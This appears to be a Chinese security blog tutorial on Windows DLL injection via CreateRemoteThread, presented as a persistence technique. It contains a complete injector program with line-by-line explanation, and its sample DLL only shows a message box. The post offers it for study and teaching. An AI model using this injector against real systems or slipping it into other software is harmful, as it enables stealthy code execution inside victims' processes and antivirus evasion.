L
免责声
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
DLL 注入DLL注入是一种常见的安全威胁,指的是将恶意动态链接库(DLL)文件注入到正常程序的进程空间内。通过这种技术,攻击者能够在目标程序内执行任意代码,常见的注入方式包括使用Windows API如CreateRemoteThread和SetWindowsHookEx等。这种方法的隐蔽性好,易于绕过传统的杀毒软件检测,因为它利用了正常程序的合法操作,因此在木马存在感极强,利用率极高。
远程线程注入
最常见的DLL注入方法就是远程线程注入,它涉及在目标进程的地址空间内创建新的线程来执行加载器或直接执行注入代码:
-
打开目标进程,获得其进程句柄。 -
为DLL路径或注入代码在目标进程内存中分配空间。 -
将DLL路径或注入代码写入分配的内存区域。 -
使用Windows API(如CreateRemoteThread)在目标进程中启动新线程,执行加载DLL的操作或注入代码。
待注入DLL实现
1. 首先使用Visual Studio创建一个DLL项目:
2. Visual Studio会自动帮助我们生成框架:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
BOOL APIENTRY
DllMain
( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch
(ul_reason_for_call)
{
case
DLL_PROCESS_ATTACH:
case
DLL_THREAD_ATTACH:
case
DLL_THREAD_DETACH:
case
DLL_PROCESS_DETACH:
break
;
}
return
TRUE;
}
其中:
- DllMain函数是DLL的主要入口点。APIENTRY宏定义用于声明由Windows API调用的函数。
- DllMain函数是DLL的主要入口点。APIENTRY宏定义用于声明由Windows API调用的函数。
-
3. ul_reason_for_call表示调用DllMain的原因。它可以是以下值之一:
-
DLL_PROCESS_ATTACH: DLL被加载到进程的地址空间内。 -
DLL_THREAD_ATTACH: 当进程创建新线程时,每个新线程都会调用DLL。 -
DLL_THREAD_DETACH: 当线程结束时,每个终止的线程都会调用DLL。 -
DLL_PROCESS_DETACH: DLL即将从进程的地址空间中卸载。
-
lpReserved保留参数,通常用于指示DLL是静态加载还是动态加载(例如,使用LoadLibrary)。如果lpReserved为NULL,则DLL是由LoadLibrary动态加载的。
3. 在DLL_PROCESS_ATTACH中加入代码,在DLL被载入的时候弹窗:
case
DLL_PROCESS_ATTACH:
MessageBox(
NULL
,
L"DLL Injected"
,
L"Success"
, MB_OK);
4. 然后点击生成解决方案,就可以在项目文件夹的Release目录下找到编译好的dll文件
2. 完成如下代码,将会对代码内容进行进一步讲解:
// ConsoleApplication3.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
int
wmain
(
int
argc,
wchar_t
*argv[])
{
if
(argc !=
3
) {
std
::wcout <<
L"Usage:"
<< argv[
0
] <<
L" <PID> <PathToDLL>"
<<
std
::
endl
;
return
1
;
}
const
DWORD pid = _wtoi(argv[
1
]);
const
wchar_t
* dllPath = argv[
2
];
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if
(!process) {
std
::wcerr <<
L"Open Process failed."
<<
std
::
endl
;
return
1
;
}
LPVOID mem = VirtualAllocEx(process,
NULL
, wcslen(dllPath) *
sizeof
(
wchar_t
), MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE);
if
(!mem) {
std
::wcerr <<
L"VirtualAllocEx failed."
<<
std
::
endl
;
return
1
;
}
if
(!WriteProcessMemory(process, mem, dllPath, wcslen(dllPath) *
sizeof
(
wchar_t
),
NULL
)) {
std
::wcerr <<
L"WriteProcessMemory failed."
<<
std
::
endl
;
return
1
;
}
HANDLE thread = CreateRemoteThread(process,
NULL
,
0
, (LPTHREAD_START_ROUTINE)LoadLibraryW, mem,
0
,
NULL
);
if
(!thread) {
std
::wcerr <<
L"CreateRemoteThread failed."
<<
std
::
endl
;
return
1
;
}
WaitForSingleObject(thread, INFINITE);
VirtualFreeEx(process, mem,
0
, MEM_RELEASE);
CloseHandle(thread);
CloseHandle(process);
return
0
;
}
3. 首先需要打开需要注入的进程:
HANDLE
process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
-
HANDLE:是 Windows API 中用来标识和引用对象(例如进程、线程、文件等)的数据类型。它实质上是一个指针或引用,只不过它有时被抽象为一个不透明的值。 -
process:这是一个变量名称,存储函数调用的结果,即进程的 HANDLE。 -
OpenProcess:这是 Windows API 函数,用于打开一个现有进程对象,并返回进程的句柄。 -
PROCESS_ALL_ACCESS:这是一个在调用 OpenProcess 时用来指定所需访问权限的标志。它要求提供对进程所有可能操作的权限。由于这是一个极高的权限级别,通常它必须由具有管理员权限的程序来请求。 -
FALSE:这个参数指示 OpenProcess 函数不会继承句柄。如果这个值为 TRUE,句柄可以被当前进程的子进程继承。 -
pid:这是指定目标进程的进程标识号(Process ID)。pid 是由外部提供给这行代码作为参数的变量,代表一个特定进程的唯一数字标识符。
4. 然后需要在目标进程中申请一段内存来存放DLL:
LPVOID mem = VirtualAllocEx(process,
NULL
, wcslen(dllPath) *
sizeof
(
wchar_t
), MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE);
-
LPVOID mem:声明了一个名为 mem 的变量,类型为 LPVOID,即 "Long Pointer to VOID"。在Win32 API中,VOID 表示一个无类型的指针,而 LPVOID 是一个通用指针类型,它可以指向任何类型的数据。这里,mem 将用于存储分配的内存区域的基地址。 -
VirtualAllocEx:这是Windows API中的一个函数,用来在指定的进程地址空间内分配内存。与 VirtualAlloc 类似,不同的是 VirtualAllocEx 允许分配其他进程的内存,而 VirtualAlloc 仅用于当前进程。 -
process:是 OpenProcess 函数返回的目标进程的句柄。这告诉 VirtualAllocEx 在哪个进程的虚拟地址空间内进行内存分配。 -
NULL:这个参数告诉 VirtualAllocEx 自动选择内存区域的起始地址。系统会找到足够大的未使用空间,并返回其开始位置。 -
wcslen(dllPath) * sizeof(wchar_t):计算要分配的内存大小。wcslen 函数返回 dllPath 字符串的长度(不包含终止空字符),sizeof(wchar_t) 是每个宽字符的大小。两者相乘的结果就是需要分配的字节总数,以便能够存放整个DLL路径。 -
MEM_COMMIT | MEM_RESERVE:这些是用来指明内存分配的类型和状态的标志。MEM_COMMIT 用于分配内存,并保证物理存储器(如RAM或页面文件)的支持。MEM_RESERVE 用于保留进程的虚拟地址空间,而不分配任何实际的物理存储空间。在这个上下文中,同时使用这两个标志意味着立即分配并保留内存区域。 -
PAGE_READWRITE:这是保护属性,它配置内存页面的读/写访问权限。PAGE_READWRITE 允许进程对这片内存进行读取和写入操作。
WriteProcessMemory(process, mem, dllPath, wcslen(dllPath) *
sizeof
(
wchar_t
),
NULL
)
-
process:是一个句柄,它指向您要写入内存的目标进程。这个句柄通常是通过调用 OpenProcess 函数获得的。 -
mem:是目标进程中的内存地址,您要将数据写入这个地址。这个地址之前是通过调用 VirtualAllocEx 动态分配得到的。 -
dllPath:是一个指向宽字符字符串(wchar_t*)的指针,即您要写入目标进程内存的数据。在这种情况下,它通常指向一个DLL文件的路径。 -
wcslen(dllPath) * sizeof(wchar_t):计算 dllPath 字符串的字节大小,以确保写入正确的数据量。wcslen 函数计算字符串中的字符数(不包括最后的空字符),而 sizeof(wchar_t) 获取宽字符的大小(通常是2个字节)。两者相乘得到整个宽字符串所占用的字节大小。 -
NULL:这是一个可选的参数,用于接收实际写入的字节数的指针。在这里用 NULL 代替,意味着我们不需要这个信息。
HANDLE thread = CreateRemoteThread(process,
NULL
,
0
, (LPTHREAD_START_ROUTINE)LoadLibraryW, mem,
0
,
NULL
);
-
process:是目标进程的句柄,之前已通过 OpenProcess 函数获得。这告诉 CreateRemoteThread 在哪个进程中创建线程。 -
NULL:这个参数用于线程安全属性。NULL 表示线程将继承默认的安全属性。 -
0:这是初始线程堆栈大小。数值0 表示函数会使用默认大小。 -
(LPTHREAD_START_ROUTINE)LoadLibraryW:是一个函数指针,指向线程启动时要执行的函数。LoadLibraryW 是用于加载 DLL 的 Windows API 函数。此处,它被强制类型转换为 LPTHREAD_START_ROUTINE,这是 CreateRemoteThread 需要的类型。参数 LoadLibraryW 指示新线程将调用 LoadLibraryW 函数。 -
mem:这是传递给 LoadLibraryW 函数的参数。之前通过 VirtualAllocEx 和 WriteProcessMemory 函数在目标进程中分配并写入的内存地址,它包含了 DLL 文件的路径。 -
0:这是线程创建的标志,数值0 表示线程创建后立即运行。 -
NULL:这个可选参数用于接收新线程的标识符。NULL 表示我们不需要线程标识符。
WaitForSingleObject(thread, INFINITE);
-
thread:是之前通过 CreateRemoteThread 创建的新线程的句柄。它标识了一个具体的线程对象,WaitForSingleObject 将会对这个线程的状态进行监视。 -
INFINITE:这个参数指定了函数的等待时间。INFINITE 是一个特殊的值,表示函数将无限期地等待,直到被监视的对象发出信号。换句话说,如果你传递 INFINITE 给 WaitForSingleObject,函数将会一直阻塞调用线程,直到目标线程结束。
ConsoleApplication3
.exe
14120
Dll_01_hello
.dll
原文始发于微信公众号(赛博安全狗):【权限维持技术】Windows DLL远程线程注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论